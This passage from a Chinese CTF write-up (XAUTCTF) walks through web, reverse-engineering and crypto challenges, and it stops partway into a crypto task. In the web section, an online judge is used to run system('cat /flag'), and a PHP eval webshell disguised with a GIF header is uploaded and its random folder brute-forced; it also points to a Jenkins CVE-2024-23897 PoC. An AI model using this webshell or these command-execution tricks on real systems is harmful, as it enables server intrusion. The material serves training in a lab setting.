​ 访问/tip可以获取到代码执行结果:

image-20250117000157023

​ 全部WA掉了,看来是高精度,网上随便找个高精度加法代码就行。

​ 但是这里不是ACM,即使AC了该题也并不能获得flag!

​ 注意到我们可以输入执行任意C/C++代码,同时可以得到命令执行的结果,于是我们直接执行系统命令即可!

​ 执行代码:

1
2
3
4
int main(){
system("cat /flag");
return 0;
}

image-20250117001645435

​ 访问/tip路由:

image-20250117001727231

Jenkins

题目描述

出题人: BR

难度: 普通

​ 坏了,我不会java,这怎么打???

题解

​ Jenkins是开源的,使用Java编写的持续集成的工具。

​ 不会java没关系,直接搜现成CVE直接打就行。image-20250116221655827

​ 进入登录界面:

image-20250116232710660

​ 结合题目名字CVE,直接搜索关键词Jenkins CVE

image-20250116232856913

​ 可以看到存在CVE-2024-23897

Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户

​ 在github搜索CVE-2024-23897

image-20250116233100057

image-20250116234253497

godylockz/CVE-2024-23897: POC for CVE-2024-23897 Jenkins File-Read

​ 下载poc脚本运行:

image-20250116234230527

​ 更多原理可自行查阅相关博客。

ez_upload

题目描述

出题人: BR

难度: 普通

​ “找不到上传的文件在哪不就没有文件上传漏洞了吗!” —-BR过于自信的说到

​ 这次粗心的BR似乎在出完题后忘记删除掉某些东西了

题解

​ 随便尝试上传一个文件,提示:

image-20250116145048502

​ 正常上传一个图片,可以成功上传,但是不知道上传的文件路径:

image-20250116145142418

​ 查看根路由源码,存在提示:

image-20250116145234893

​ 或许泄露了备份源码信息,使用ihoneyBakFileScan_Modify扫描一下看看:

image-20250116145852805

dirsearch亦可:

image-20250116152014634

​ 存在www.zip文件,下载下来解压即为源码:

image-20250116150021244

​ 查看upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$uploadDir = 'uploads/';

$originalName = basename($_FILES['file']['name']);

$nameParts = explode('.', $originalName);

$fileExtension = isset($nameParts[1]) ? $nameParts[count($nameParts) - 1] : '';

$randomNumber = mt_rand(0, 100);
$hashedFolderName = md5(md5($randomNumber));

$folderPath = $uploadDir . $hashedFolderName . '/';
if (!is_dir($folderPath)) {
mkdir($folderPath, 0755, true);
}

$uploadFile = $folderPath . $originalName;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
$fileInfo = getimagesize($uploadFile);
if ($fileInfo === false) {
unlink($uploadFile);
echo "Upload failed: File is not a valid image.";
exit;
}

echo "File successfully uploaded.But I won't tell you where the file was uploaded!";
} else {
echo "File upload failed.";
}
}

?>

​ 简单阅读代码,可以看到,程序仅接收图片类型的文件,并且生成一个文件夹(随机取一个0-100之间的整数将其进行两次MD5运算,将其作为该文件夹的名字),将上传的文件放置在该文件夹中。

​ 针对 程序仅接收图片类型的文件 这一点,后端是对文件内容进行校验的,只需要在木马文件最开始加上GIF89a(这是GIF文件的文件头)即可绕过,编写的木马文件为:

1
GIF89a<?php eval($_REQUEST['cmd']);?>

​ 保存为shell.php,上传。

​ 成功上传,按照源码,此时的木马文件应该位于/uploads/?????/shell.php,中间文件夹的名字因为是随机生成的,每次并不相同,好在范围比较小,可以进行爆破。

​ 此处使用BurpSuite进行爆破,使用python编写脚本亦可。

image-20250116151238976

image-20250116151347999

image-20250116151508388

​ 可以看到/uploads/3d2f8900f2e49c02b481c2f717aa9020/shell.php的响应结果和其他的不同,成功爆破出上传路径。

​ 直接读取flag:

image-20250116151917092

Reverse

FlagChecker

题目描述

出题人: D3f4ult

难度: 困难

​ D3f4ult想到了一个flag,你猜对了就告诉你。

​ Tips:得到的字符串包裹上flag{}

题解

​ 需要题解联系D3f4ult

maze

题目描述

出题人: BR

难度: 普通

​ 走迷宫,这还不简简单单有手就行

​ PS:flag为迷宫从起点到终点的最短路径,执行附件给出的程序使其输出”you win!!!”,则表示该解正确,将该解用XAUTCTF{}包裹,示例flag:XAUTCTF{WWWASSDDD}

题解

​ 下载附件,先尝试执行一下:

image-20250116213310715

​ 没得到什么有用的信息,直接拖入附件到IDA中进行分析吧。

​ 查看main函数,分析代码逻辑:

image-20250116215207142

​ 首先需要我们输入一个字符串,记作s,在接下来的while循环中遍历该字符串的每个字符。

​ 其中87,83,65,68分别是W,S,A,D的ascii值,0则是\0的ascii值,如果s这个字符串中不是这几种字符,会触发”invaild character!”程序结束。

​ 在接下来的while循环中还有三个判断:

  1. 0xA是16进制写法,A表示10进制的11,即该次if条件句判断current_icurrent_j的值是否大于11,如果大于则输出”You’re out of bounds!”表示越界,程序中断;
  2. 在maze这个数组中,如果maze_map[11 * current_i + current_j]==1,则输出”You hit the wall!“表示撞墙了,程序中断;
  3. 如果current_i==9并且current==10则中断while循环,进行最后的判断:如果输入的字符串长度大于0x16(即10进制的22),则输出”Correct, but not the shortest!”表示答案正确,但不是最短,否则输出”you win!!!”表示成功。

​ 在整个过程中,有四个变量需要关注:

  • maze_map:根据名字推测为迷宫地图
  • current_i与current_j:常与maze_map组合使用,且输入的字符串会影响其值的变化,推测为表示当前所处位置;
  • s:一个需要用户输入的字符串,仅能由WASD和\0组成,长度应该不超过22。

​ 查看maze_map:

​ shift+e提取值

image-20250116215638231

​ 其长度为121,仅由01组成,结合while循环中的第二个判断,推测1表示墙壁,0表示路,且应该是一个11*11的迷宫,将值提取处理一下得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_DWORD maze_map[121] =
{
1,1,1,1,1,1,1,1,1,1,1,
0,0,1,0,0,0,1,0,0,0,1,
1,0,1,1,1,0,1,0,1,0,1,
1,0,0,0,1,0,0,0,1,0,1,
1,0,1,0,1,1,1,1,1,0,1,
1,0,1,0,0,0,0,0,1,0,1,
1,0,1,1,1,0,1,1,1,0,1,
1,0,1,0,0,0,1,0,0,0,1,
1,0,1,0,1,1,1,0,1,1,1,
1,0,1,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,1
};

​ 很明显可以看由(1,0)和(9,10)两个与外界相通的点,(9,10)为终点,则很明显(1,0)为起点了。

​ 如果maze_map确实为一个11*11的二维数组,那么maze_map[11 * current_i + current_j]等效于maze_map[current_i][current_j]

​ 如果输入W,则current_i--表示向上,输入S则current_i++表示向下,输入A则current_j--表示向左,输入D则current_j++表示向右。

​ 此题迷宫较小可直接对着二维数组进行分析,走迷宫,可以得到路径为DSSDDSSDDSSAASSDDDDDDD

​ 当然也可以用脚本转成图像更直观体现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from PIL import Image

def array_to_image(array, block_size=10):
# 计算图像的宽度和高度
width = len(array[0]) * block_size
height = len(array) * block_size

# 创建一个新的白色图像
img = Image.new('RGB', (width, height), 'white')

# 遍历数组并绘制方块
for y, row in enumerate(array):
for x, val in enumerate(row):
color = 'black' if val == 1 else 'white'
left = x * block_size
top = y * block_size
right = left + block_size
bottom = top + block_size
for i in range(left, right):
for j in range(top, bottom):
img.putpixel((i, j), (0, 0, 0) if color == 'black' else (255, 255, 255))

return img

# 二维数组
array = [
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1],
[1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1],
[1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1],
[1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1],
[1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1],
[1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1],
[1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1],
[1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
]

# 使用函数将数组转换为图像
image = array_to_image(array)

# 显示并保存图像
image.show()
image.save('maze.png')

​ 得到的迷宫为:

maze

​ 解为:

maze-solved

​ flag为XAUTCTF{DSSDDSSDDSSAASSDDDDDDD}

​ 附件原C语言代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <string.h>
int maze_map[11][11] = {
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1},
{1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1},
{1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1},
{1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1},
{1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1},
{1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1},
{1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1},
{1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1},
{1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}
};
int x = 0;
int current_i = 1;
int current_j = 0;

int main(){
char solve[100];
printf("Enter your solution:>>");
scanf("%s", solve);
// DSSDDSSDDSSAASSDDDDDDD
while (solve[x] != '\0')
{
if(solve[x] == 'W'){
current_i--;
}
else if (solve[x] == 'S'){
current_i++;
}
else if (solve[x] == 'A'){
current_j--;
}
else if (solve[x] == 'D'){
current_j++;
}
else{
printf("invalid character!");
return 0;
}

if (current_i < 0 || current_i > 10 || current_j < 0 || current_j > 10)
{
printf("You're out of bounds!");
return 0;
}
if (maze_map[current_i][current_j] == 1)
{
printf("You hit the wall!");
return 0;
}
if (current_i == 9 && current_j == 10)
{
if (strlen(solve) <= 22){
printf("you win!!!");
}else{
printf("Correct, but not the shortest!");
}
return 0;
}
x++;
}
printf("failed!");
return 0;
}

​ 可参考博客:ctf逆向-迷宫题型总结(思路巨清晰详细) - 先知社区

Try to find me

题目描述

出题人: BR

难度: 签到

​ 想要flag?不给你,除非你能找到我!

题解

​ 直接拖入IDA,按SHIFT+F12即可看见flag:

image-20250117182449591

​ strings命令亦可:

image-20250117182520260

三相之力

题目描述

出题人: BR

难度: 简单

​ flag被分成了三份!!!该如何才能复原它?!

题解

​ 拖入IDA分析代码逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
int i; // [rsp+0h] [rbp-440h]
int j; // [rsp+4h] [rbp-43Ch]
char *s1; // [rsp+8h] [rbp-438h]
_DWORD v8[8]; // [rsp+10h] [rbp-430h]
char s[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v10; // [rsp+438h] [rbp-8h]

v10 = __readfsqword(0x28u);
printf("Please enter 'The Power of Misc':>>");
__isoc99_scanf("%1023s", s);
v3 = strlen(s);
s1 = (char *)base64_encode(s, v3);
if ( strcmp(s1, "JwxIIwaBGXbC8z0e7FNN") )
goto LABEL_2;
puts("Right!");
printf("Please enter 'The Power of Crypto':>>");
__isoc99_scanf("%1023s", s);
for ( i = 0; s[i]; s[i++] += 7 )
;
if ( !strcmp(s, "fWOhaLf") )
{
puts("Right!!");
v8[0] = 56;
v8[1] = 110;
v8[2] = 108;
v8[3] = 29;
v8[4] = 59;
v8[5] = 35;
printf("Please enter 'The Power of Reverse':>>");
__isoc99_scanf("%1023s", s);
for ( j = 0; s[j] && j <= 5; ++j )
{
s[j] ^= 0x5Eu;
if ( s[j] != v8[j] )
{
puts("failed...");
return 0;
}
}
if ( strlen(s) == 6 )
puts("You have successfully gathered the power of three phases!!!");
else
puts("failed...");
return 0;
}
else
{
LABEL_2:
puts("failed...");
return 0;
}
}

​ flag被分成了三段,首先第一部分”The Power of Misc”可以看出来是base64编码,但是解码出来是乱码:

image-20250117224615118

​ 说明应该是换表base64,找到表为NOPQwxyz0RSTUaDEFGHABIJKL789+MijklmnoVWXYZpqbc2345defghCrstuv16/

image-20250117224718790

​ 解出第一部分:

image-20250117224749558

​ 第二部分”The Power of Crypto”则是将输入的字符的ascii码加7,移位后为fWOhaLf

​ 一个小脚本就可以转回去:

1
2
3
4
5
string = "fWOhaLf"
for c in string:
c = chr(ord(c) - 7)
print(c, end="")
# _PHaZE_

​ 第三部分”The Power of Reverse”就是异或了0x5E,即字符^

​ 同样的,写个小脚本就好:

1
2
3
4
5
data = [56,110,108,29,59,35]
for i in data:
c = chr(i ^ ord('^'))
print(c,end="")
# f02Ce}

​ 拼接一下得到flag为XAUTCTF{7hr3e_PHaZE_f02Ce}

JavaScript

题目描述

出题人: BR

难度: 中等

​ BR在学习爬虫,这一天他被一个网站的js代码所难住了。

​ 这个网站可以获取到flag,但是flag被加密了!

​ 不懂reverse的BR反手就把这个问题丢给了你!

​ 你看着眼前的js代码和密文陷入了沉思……

题解

​ 题目给出的附件是一个经过简单混淆的javascript代码:

1
function Encrypt(_0x4876d5, _0x38d487) { let _0x2613c2 = keyToUint32Array(_0x38d487); let _0x3b1e6c = stringToUint32Array(_0x4876d5); let _0x3a6497 = _0x3b1e6c['length']; const _0x4d860d = 0x9e3779b9; let _0x17d9bd = 0x0; for (let _0x2cf0ab = 0x0; _0x2cf0ab < 0x20; _0x2cf0ab++) { _0x17d9bd = _0x17d9bd + _0x4d860d >>> 0x0; for (let _0x198235 = 0x0; _0x198235 < _0x3a6497; _0x198235 += 0x2) { _0x3b1e6c[_0x198235] = _0x3b1e6c[_0x198235] + ((_0x3b1e6c[_0x198235 + 0x1] << 0x4) + _0x2613c2[0x0] ^ _0x3b1e6c[_0x198235 + 0x1] - _0x17d9bd ^ (_0x3b1e6c[_0x198235 + 0x1] >>> 0x5) + _0x2613c2[0x1]) >>> 0x0; _0x3b1e6c[_0x198235 + 0x1] = _0x3b1e6c[_0x198235 + 0x1] + ((_0x3b1e6c[_0x198235] << 0x4) + _0x2613c2[0x2] ^ _0x3b1e6c[_0x198235] - _0x17d9bd ^ (_0x3b1e6c[_0x198235] >>> 0x5) + _0x2613c2[0x3]) >>> 0x0; } } return uint32ArrayToBase64(_0x3b1e6c); } function stringToUint32Array(_0x5f4e70) { let _0x768fff = new ArrayBuffer((_0x5f4e70['length'] + 0x3 & ~0x3) * 0x4); let _0x34c80a = new Uint8Array(_0x768fff); for (let _0x53d00e = 0x0; _0x53d00e < _0x5f4e70['length']; _0x53d00e++) { _0x34c80a[_0x53d00e] = _0x5f4e70['charCodeAt'](_0x53d00e); } let _0x120412 = new Uint32Array(_0x768fff); return Array['from'](_0x120412); } function uint32ArrayToString(_0x1e70bb) { let _0x573d6d = new ArrayBuffer(_0x1e70bb['length'] * 0x4); let _0x46894d = new Uint32Array(_0x573d6d); _0x46894d['set'](_0x1e70bb); return String['fromCharCode'](...new Uint8Array(_0x573d6d))['replace'](/\0+$/, ''); } function keyToUint32Array(_0x549d83) { let _0x4b1c55 = _0x549d83['padEnd'](0x10, '\x00')['slice'](0x0, 0x10); return stringToUint32Array(_0x4b1c55); } function uint32ArrayToBase64(_0x39ebd) { let _0x1e90f8 = new ArrayBuffer(_0x39ebd['length'] * 0x4); let _0x3fd077 = new Uint32Array(_0x1e90f8); _0x3fd077['set'](_0x39ebd); return btoa(String['fromCharCode'](...new Uint8Array(_0x1e90f8))); } function base64ToUint32Array(_0x581683) { let _0x134468 = atob(_0x581683); let _0x477fb6 = new ArrayBuffer(_0x134468['length']); let _0x39a17a = new Uint8Array(_0x477fb6); for (let _0x4b9cde = 0x0; _0x4b9cde < _0x134468['length']; _0x4b9cde++) { _0x39a17a[_0x4b9cde] = _0x134468['charCodeAt'](_0x4b9cde); } let _0x178fce = new Uint32Array(_0x477fb6); return Array['from'](_0x178fce); } const key = 'XAUTCTF6666666BR'; const plaintext = 'XAUTCTF{this_is_a_sample}'; const encrypted = Encrypt(plaintext, key); console['log']('加密结果:', encrypted);

​ 简单格式化处理一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function Encrypt(_0x4876d5, _0x38d487) {
let _0x2613c2 = keyToUint32Array(_0x38d487);
let _0x3b1e6c = stringToUint32Array(_0x4876d5);
let _0x3a6497 = _0x3b1e6c['length'];
const _0x4d860d = 0x9e3779b9;
let _0x17d9bd = 0x0;
for (let _0x2cf0ab = 0x0; _0x2cf0ab < 0x20; _0x2cf0ab++) {
_0x17d9bd = _0x17d9bd + _0x4d860d >>> 0x0;
for (let _0x198235 = 0x0; _0x198235 < _0x3a6497; _0x198235 += 0x2) {
_0x3b1e6c[_0x198235] = _0x3b1e6c[_0x198235] + ((_0x3b1e6c[_0x198235 + 0x1] << 0x4) + _0x2613c2[0x0] ^ _0x3b1e6c[_0x198235 + 0x1] - _0x17d9bd ^ (_0x3b1e6c[_0x198235 + 0x1] >>> 0x5) + _0x2613c2[0x1]) >>> 0x0;
_0x3b1e6c[_0x198235 + 0x1] = _0x3b1e6c[_0x198235 + 0x1] + ((_0x3b1e6c[_0x198235] << 0x4) + _0x2613c2[0x2] ^ _0x3b1e6c[_0x198235] - _0x17d9bd ^ (_0x3b1e6c[_0x198235] >>> 0x5) + _0x2613c2[0x3]) >>> 0x0;
}
}
return uint32ArrayToBase64(_0x3b1e6c);
}

function stringToUint32Array(_0x5f4e70) {
let _0x768fff = new ArrayBuffer((_0x5f4e70['length'] + 0x3 & ~0x3) * 0x4);
let _0x34c80a = new Uint8Array(_0x768fff);
for (let _0x53d00e = 0x0; _0x53d00e < _0x5f4e70['length']; _0x53d00e++) {
_0x34c80a[_0x53d00e] = _0x5f4e70['charCodeAt'](_0x53d00e);
}
let _0x120412 = new Uint32Array(_0x768fff);
return Array['from'](_0x120412);
}

function uint32ArrayToString(_0x1e70bb) {
let _0x573d6d = new ArrayBuffer(_0x1e70bb['length'] * 0x4);
let _0x46894d = new Uint32Array(_0x573d6d);
_0x46894d['set'](_0x1e70bb);
return String['fromCharCode'](...new Uint8Array(_0x573d6d))['replace'](/\0+$/, '');
}

function keyToUint32Array(_0x549d83) {
let _0x4b1c55 = _0x549d83['padEnd'](0x10, '\x00')['slice'](0x0, 0x10);
return stringToUint32Array(_0x4b1c55);
}

function uint32ArrayToBase64(_0x39ebd) {
let _0x1e90f8 = new ArrayBuffer(_0x39ebd['length'] * 0x4);
let _0x3fd077 = new Uint32Array(_0x1e90f8);
_0x3fd077['set'](_0x39ebd); return btoa(String['fromCharCode'](...new Uint8Array(_0x1e90f8)));
}

function base64ToUint32Array(_0x581683) {
let _0x134468 = atob(_0x581683);
let _0x477fb6 = new ArrayBuffer(_0x134468['length']);
let _0x39a17a = new Uint8Array(_0x477fb6);
for (let _0x4b9cde = 0x0; _0x4b9cde < _0x134468['length']; _0x4b9cde++) {
_0x39a17a[_0x4b9cde] = _0x134468['charCodeAt'](_0x4b9cde);
}
let _0x178fce = new Uint32Array(_0x477fb6);
return Array['from'](_0x178fce);
}

const key = 'XAUTCTF6666666BR';
const plaintext = 'XAUTCTF{this_is_a_sample}';
const encrypted = Encrypt(plaintext, key);
console['log']('加密结果:', encrypted);

​ 只是重命名混淆了下变量名,我们主要看看Encrypt这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Encrypt(_0x4876d5, _0x38d487) {
let _0x2613c2 = keyToUint32Array(_0x38d487);
let _0x3b1e6c = stringToUint32Array(_0x4876d5);
let _0x3a6497 = _0x3b1e6c['length'];
const _0x4d860d = 0x9e3779b9;
let _0x17d9bd = 0x0;
for (let _0x2cf0ab = 0x0; _0x2cf0ab < 0x20; _0x2cf0ab++) {
_0x17d9bd = _0x17d9bd + _0x4d860d >>> 0x0;
for (let _0x198235 = 0x0; _0x198235 < _0x3a6497; _0x198235 += 0x2) {
_0x3b1e6c[_0x198235] = _0x3b1e6c[_0x198235] + ((_0x3b1e6c[_0x198235 + 0x1] << 0x4) + _0x2613c2[0x0] ^ _0x3b1e6c[_0x198235 + 0x1] - _0x17d9bd ^ (_0x3b1e6c[_0x198235 + 0x1] >>> 0x5) + _0x2613c2[0x1]) >>> 0x0;
_0x3b1e6c[_0x198235 + 0x1] = _0x3b1e6c[_0x198235 + 0x1] + ((_0x3b1e6c[_0x198235] << 0x4) + _0x2613c2[0x2] ^ _0x3b1e6c[_0x198235] - _0x17d9bd ^ (_0x3b1e6c[_0x198235] >>> 0x5) + _0x2613c2[0x3]) >>> 0x0;
}
}
return uint32ArrayToBase64(_0x3b1e6c);
}

​ 根据函数调用来看,不难看出_0x4876d5代表plaintext_0x38d487代表key_0x2cf0ab_0x198235显然是循环变量,用ij代替,_0x2613c2是由key转化来的数组,用k代替,_0x3b1e6c是由_0x4876d5转化来的数组,用v代替,_0x17d9bd是一个在循环中不断累加的变量,记作num_0x4d860d则是个常量,就记作e_0x3a6497plaintext的长度,就用length表示,替换得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Encrypt(plaintext, key) {
let k = keyToUint32Array(key);
let v = stringToUint32Array(plaintext);
let length = v['length'];
const e = 0x9e3779b9;
let num = 0x0;
for (let i = 0x0; i < 0x20; i++) {
num = num + e >>> 0x0;
for (let j = 0x0; j < length; j += 0x2) {
v[j] = v[j] + ((v[j + 0x1] << 0x4) + k[0x0] ^ v[j + 0x1] - num ^ (v[j + 0x1] >>> 0x5) + k[0x1]) >>> 0x0;
v[j + 0x1] = v[j + 0x1] + ((v[j] << 0x4) + k[0x2] ^ v[j] - num ^ (v[j] >>> 0x5) + k[0x3]) >>> 0x0;
}
}
return uint32ArrayToBase64(v);
}

​ 存在明显特征,就是一个有略微修改的tea加密算法,可参考学习tea 加密解密算法(面向ctf-reverse使用,光速学会tea逆向套路)_tea加密-CSDN博客

​ 经典的tea加密应该这样的:

1
2
v[j] = v[j] + ((v[j + 0x1] << 0x4) + k[0x0] ^ v[j + 0x1] + num ^ (v[j + 0x1] >>> 0x5) + k[0x1]) >>> 0x0;
v[j + 0x1] = v[j + 0x1] + ((v[j] << 0x4) + k[0x2] ^ v[j] + num ^ (v[j] >>> 0x5) + k[0x3]) >>> 0x0;

​ 本题将加改为减,变成:

1
2
v[j] = v[j] + ((v[j + 0x1] << 0x4) + k[0x0] ^ v[j + 0x1] - num ^ (v[j + 0x1] >>> 0x5) + k[0x1]) >>> 0x0;
v[j + 0x1] = v[j + 0x1] + ((v[j] << 0x4) + k[0x2] ^ v[j] - num ^ (v[j] >>> 0x5) + k[0x3]) >>> 0x0;

​ 这样的形式还是不太好看出来,可以再换一下形式,看着更顺眼些了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Encrypt(plaintext, key) {
let k = keyToUint32Array(key);
let v = stringToUint32Array(plaintext);
let n = v.length;

const delta = 0x9e3779b9;
let sum = 0;

for (let i = 0; i < 32; i++) {
sum = (sum + delta) >>> 0;
for (let j = 0; j < n; j += 2) {
v[j] = (v[j] + (((v[j + 1] << 4) + k[0]) ^ (v[j + 1] - sum) ^ ((v[j + 1] >>> 5) + k[1]))) >>> 0;
v[j + 1] = (v[j + 1] + (((v[j] << 4) + k[2]) ^ (v[j] - sum) ^ ((v[j] >>> 5) + k[3]))) >>> 0;
}
}
return uint32ArrayToBase64(v);
}

​ 对应解密算法为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Dncrypt(ciphertext, key) {
let k = keyToUint32Array(key);
let v = base64ToUint32Array(ciphertext);
let n = v.length;

const delta = 0x9e3779b9;
let sum = (delta * 32) >>> 0;

for (let i = 0; i < 32; i++) {
for (let j = n - 2; j >= 0; j -= 2) {
v[j + 1] = (v[j + 1] - (((v[j] << 4) + k[2]) ^ (v[j] - sum) ^ ((v[j] >>> 5) + k[3]))) >>> 0;
v[j] = (v[j] - (((v[j + 1] << 4) + k[0]) ^ (v[j + 1] - sum) ^ ((v[j + 1] >>> 5) + k[1]))) >>> 0;
}
sum = (sum - delta) >>> 0;
}
return uint32ArrayToString(v);
}

​ 完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
function Encrypt(plaintext, key) {
let k = keyToUint32Array(key);
let v = stringToUint32Array(plaintext);
let n = v.length;

const delta = 0x9e3779b9;
let sum = 0;

for (let i = 0; i < 32; i++) {
sum = (sum + delta) >>> 0;
for (let j = 0; j < n; j += 2) {
v[j] = (v[j] + (((v[j + 1] << 4) + k[0]) ^ (v[j + 1] - sum) ^ ((v[j + 1] >>> 5) + k[1]))) >>> 0;
v[j + 1] = (v[j + 1] + (((v[j] << 4) + k[2]) ^ (v[j] - sum) ^ ((v[j] >>> 5) + k[3]))) >>> 0;
}
}
return uint32ArrayToBase64(v);
}

function Dncrypt(ciphertext, key) {
let k = keyToUint32Array(key);
let v = base64ToUint32Array(ciphertext);
let n = v.length;

const delta = 0x9e3779b9;
let sum = (delta * 32) >>> 0;

for (let i = 0; i < 32; i++) {
for (let j = n - 2; j >= 0; j -= 2) {
v[j + 1] = (v[j + 1] - (((v[j] << 4) + k[2]) ^ (v[j] - sum) ^ ((v[j] >>> 5) + k[3]))) >>> 0;
v[j] = (v[j] - (((v[j + 1] << 4) + k[0]) ^ (v[j + 1] - sum) ^ ((v[j + 1] >>> 5) + k[1]))) >>> 0;
}
sum = (sum - delta) >>> 0;
}
return uint32ArrayToString(v);
}

function stringToUint32Array(str) {
let buffer = new ArrayBuffer(((str.length + 3) & ~3) * 4);
let view = new Uint8Array(buffer);
for (let i = 0; i < str.length; i++) {
view[i] = str.charCodeAt(i);
}
let u32Array = new Uint32Array(buffer);
return Array.from(u32Array);
}

function uint32ArrayToString(arr) {
let buffer = new ArrayBuffer(arr.length * 4);
let u32View = new Uint32Array(buffer);
u32View.set(arr);
return String.fromCharCode(...new Uint8Array(buffer)).replace(/\0+$/, '');
}

function keyToUint32Array(key) {
let paddedKey = key.padEnd(16, '\0').slice(0, 16);
return stringToUint32Array(paddedKey);
}

function uint32ArrayToBase64(arr) {
let buffer = new ArrayBuffer(arr.length * 4);
let u32View = new Uint32Array(buffer);
u32View.set(arr);
return btoa(String.fromCharCode(...new Uint8Array(buffer)));
}

function base64ToUint32Array(base64) {
let binaryString = atob(base64);
let buffer = new ArrayBuffer(binaryString.length);
let view = new Uint8Array(buffer);
for (let i = 0; i < binaryString.length; i++) {
view[i] = binaryString.charCodeAt(i);
}
let u32Array = new Uint32Array(buffer);
return Array.from(u32Array);
}

const key = "XAUTCTF6666666BR";
const plaintext = "AOEQT5wdHKvDcQPkkUsaFA1xoJNrmjDM9iJGGTrrALQaR5TSym9cVN4CMWfviErzxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhfHOolQMLNSF8c6iVAws1IXxzqJUDCzUhc=";
const decrypted = Dncrypt(plaintext, key);
console.log("解密结果:", decrypted);
// 解密结果: XAUTCTF{j4vASc2IPt_47so_11xE5_t0_d21nK_t34}

Crypto

private key

题目描述

出题人: BR

难度: 普通

​ 众所周知,公钥加密,私钥解密,那么没有私钥,这怎么解?

题解

​ 题目给到代码

1
2
3
4
5
6
7
8
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
def enc(flag):
rsakey = RSA.importKey(open('public_key.pem', 'r').read())
rsakey = PKCS1_OAEP.new(rsakey)
c = rsakey.encrypt(flag)
with open("flag.enc", "wb") as fp:
fp.write(c)

​ 一个朴实无华的加密过程

​ 其中flag.enc就是被public_key.pem公钥加密的flag

​ 这时我们想到用私钥来解密,但是题目没有给到私钥,因此需要我们自己来生成一个私钥

​ 私钥的生成需要n, e, d, p, q

​ 通过对公钥进行提取我们可以获得n和e,p和q则需要通过分解n来获得,d又可以由p与q计算得到

​ 完整解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from cryptography.hazmat.primitives.asymmetric import rsa
import gmpy2
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

# 分析公钥获得n和e
key = RSA.importKey(open('public_key.pem', 'r').read())
n = int(key.n)
e = int(key.e)
print(n)
print(e)

# 在https://factordb.com/对n进行质数分解可得到p和q
p = 541
q = 5693324408981647776459067230365645473507146658322707679878165772211971926857402335974605611412434886675703030006155064020332300972661321569916884684211587
d = int(gmpy2.invert(e, (p-1)*(q-1)))

# 用n, e, d, p, q生成私钥解密flag.enc
publickey = RSA.construct((n, e, d, p, q))
rsa = PKCS1_OAEP.new(publickey)
m = rsa.decrypt(open('flag.enc','rb').read())
print(m)
# XAUTCTF{Y0v_c4n_4K_Rza}

开心解方程

题目描述

出题人: BR

难度: 签到

​ 解方程谁不会啊!我靠,这么大的数!

题解

​ 下载附件得到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from flag import real_flag
import random

def get_random_number():
return random.randint(10**1000,10**1001)

